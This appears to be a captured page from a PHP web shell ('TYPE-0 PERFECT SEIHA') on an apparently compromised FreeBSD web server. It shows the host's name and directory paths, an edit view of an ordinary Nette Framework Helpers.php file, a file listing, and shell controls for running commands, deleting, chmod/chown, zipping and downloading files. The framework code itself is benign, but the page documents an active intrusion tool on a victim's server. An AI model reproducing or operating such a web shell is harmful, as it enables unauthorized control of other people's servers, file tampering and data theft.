TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
1
root
vendor
nette
http
src
Http
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/1/root/vendor/nette/http/src/Http/Helpers.php
<?php /** * This file is part of the Nette Framework (https://nette.org) * Copyright (c) 2004 David Grudl (https://davidgrudl.com) */ namespace Nette\Http; use Nette; use Nette\Utils\DateTime; /** * Rendering helpers for HTTP. */ class Helpers { /** * Returns HTTP valid date format. * @param string|int|\DateTime * @return string */ public static function formatDate($time) { $time = DateTime::from($time); $time->setTimezone(new \DateTimeZone('GMT')); return $time->format('D, d M Y H:i:s \G\M\T'); } /** * Is IP address in CIDR block? * @return bool */ public static function ipMatch($ip, $mask) { list($mask, $size) = explode('/', $mask . '/'); $tmp = function ($n) { return sprintf('%032b', $n); }; $ip = implode('', array_map($tmp, unpack('N*', inet_pton($ip)))); $mask = implode('', array_map($tmp, unpack('N*', inet_pton($mask)))); $max = strlen($ip); if (!$max || $max !== strlen($mask) || $size < 0 || $size > $max) { return FALSE; } return strncmp($ip, $mask, $size === '' ? $max : $size) === 0; } /** * Removes duplicate cookies from response. * @return void * @internal */ public static function removeDuplicateCookies() { if (headers_sent($file, $line) || ini_get('suhosin.cookie.encrypt')) { return; } $flatten = array(); foreach (headers_list() as $header) { if (preg_match('#^Set-Cookie: .+?=#', $header, $m)) { $flatten[$m[0]] = $header; header_remove('Set-Cookie'); } } foreach (array_values($flatten) as $key => $header) { header($header, $key === 0); } } /** * @internal */ public static function stripSlashes($arr, $onlyKeys = FALSE) { $res = array(); foreach ($arr as $k => $v) { $res[stripslashes($k)] = is_array($v) ? self::stripSlashes($v, $onlyKeys) : ($onlyKeys ? $v : stripslashes($v)); } return $res; } }
Crotin
Name
Size
Permissions
Modified
User/Group
Helpers.php
1875
0644
2016-02-27 09:37:52
Unknown/Unknown
IRequest.php
2707
0644
2016-02-27 09:37:52
Unknown/Unknown
RequestFactory.php
7085
0644
2018-07-10 17:51:50
Unknown/Unknown
IResponse.php
3726
0644
2016-02-27 09:37:52
Unknown/Unknown
Request.php
6797
0644
2016-02-27 09:37:52
Unknown/Unknown
UrlScript.php
1439
0644
2018-07-10 17:51:50
Unknown/Unknown
FileUpload.php
3909
0644
2018-07-10 17:51:50
Unknown/Unknown
SessionSection.php
4749
0644
2018-07-10 17:51:50
Unknown/Unknown
Response.php
8003
0644
2018-07-10 17:51:51
Unknown/Unknown
Context.php
1985
0644
2016-02-27 09:37:52
Unknown/Unknown
Url.php
10176
0644
2018-07-10 17:51:51
Unknown/Unknown
ISessionStorage.php
518
0644
2016-02-27 09:37:51
Unknown/Unknown
Session.php
13003
0644
2018-07-10 17:51:50
Unknown/Unknown
UserStorage.php
4553
0644
2018-07-10 17:51:51
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin